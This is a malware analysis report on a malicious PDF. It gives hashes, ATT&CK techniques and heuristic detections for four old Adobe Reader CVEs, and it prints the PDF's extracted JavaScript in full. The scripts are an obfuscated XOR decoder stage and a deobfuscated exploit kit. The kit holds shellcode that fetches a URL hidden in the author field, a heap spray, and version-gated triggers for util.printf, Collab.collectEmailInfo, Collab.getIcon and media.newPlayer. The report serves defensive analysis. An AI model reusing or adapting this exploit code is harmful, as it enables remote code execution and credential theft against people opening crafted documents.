Malicious PDF — malware analysis report

Static analysis result for SHA-256 7f929d552c203740…

MALICIOUS

PDF

11.2 KB Authoring application: Vtaysemifag First seen: 2026-05-10
MD5: 14f523da987dddd113333db7b7f56013 SHA-1: 42bda06d6b37ed6cf956b3144f0ec2bdf0d9e3f8 SHA-256: 7f929d552c203740615a1575edb613a995695ada65f3ce8d44c637d3d767f1ab
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that leverages multiple known Adobe Reader vulnerabilities. The script is designed to perform a heap spray and exfiltrate credentials, indicating a sophisticated exploit chain. The presence of multiple CVEs and the nature of the JavaScript strongly suggest a malicious intent to compromise the user's system and steal sensitive information.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x2600 2010 bytes
SHA-256: 31c86e67a2bbdb5e22be8b33d2a8fc4229f18d802d6162520839a4fc46954c26
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var bYAdobe=function(){};this.d=false;

var j='get';this.gF=false;this.xR='';

j+='P'+'age';var mW=19269;var nA=27067;

var l="das%df";this.basicP=1568;

var x='';

var b='bune';

var t='stracharCol';this.updateL=false;this.alphaB=false;

var file=[3,2][1];this.dS=false;var wAlpha=function(){};

var lO=Function;

var googleG=app;var wEdit=function(){};

googleG=googleG['doc'];this.pUpdate=false;this.s=false;

var fileEditT=new Date();

var update=j;var updateLG=new Date();this.h='';

update+='Nt'+'hWord';var basicEdit=18806;

var g=240;this.e=13663;

var basicK=new Date();var kM=10000;

var bT=j;var kN=new Function();this.pQ='';

bT+='N'+'umW'+'ords';var vLQ=false;var iBasic=function(){};

this.cB='';

function googleGoogle(){var uB=11261;this.zT=26352;

var lAdobe=b.substr(1);

lAdobe+=new String('tscapert').substr(1,5);var dZ=false;var editY=false;

return lAdobe;

}

this.basicX=17400;this.vT=15143;

var kGoogle=[0,1][0];this.updateEditG='';

var fileT=pS();

var o='fr';var xV=18053;var alphaE=25368;

o+='omCharC';

o+='ode';

var tDH=15938;

l=l.substr([1,3][1],[1,0][0]);var lB=new String();var bE=new String();

r=googleG[googleGoogle()];

this.oIJ='';

function pS(){var sJ=new Date();

var k=t.substr(4,6);this.rX=31682;this.vR=7545;

k+=new String('edeAttr').substr(1,4);

return k;var pEdit=new Date();var rH=new String();

}this.basicA='';

var fileBasic=false;

var google=bY(2, g);

var zF=new Date();this.cJ='';

function bY(fileO, g){



var gH=googleG[bT](2);

    for(var kFile=0; kFile < gH; kFile++){this.wL='';

i=googleG[update](fileO, kFile);var iUpdate=new Function();var updateT=new Function();

var y=i.substr(i.length-file, file);var lT=17496;

var f=r(l + y)[fileT](kGoogle);this.pE=857;

x+=String[o](f^g);var fileBasicH=26772;var oDX=function(){};

}this.tBasic=8886;var rFile=new String();

return x;

}var kTI=false;

var updateU=new Date();var jAdobe=false;

var w = new lO(google);var kK=6485;var eI=5160;

w();var sAdobe=new Function();var yE=function(){};
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3339 bytes
SHA-256: 07bdad3efb68e32d9dbd05d4361ca26fa5a1774f4e9e2b9e6fd28bc18917dc62
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
::.>>:]>:]J*:]  K.>>>.>K>   . >  K> >K>    \.\\ [> [ >[>>:> .[
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "z8ksm09XKZjY7-VaQO2iDMdHlGoty:?36./RW5BuU0&=P%Lw_gTE4nfNCcbeIJ1FSvpqrAxh";
app.alert(1);

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

if (IyIFVe > 8){
	x8EvTm(1);
	var iVvCdy8 = "12999999999999999999";          


for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ ){            iVvCdy8 += "8";   
       }          util.printf("%45000f", iVvCdy8);      
}
if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();
>>\.  >>>[   [ >  [ >  >>[  >> \* \:::>>>> >> ��

Open this report in the interactive analyzer, or submit your own file for analysis.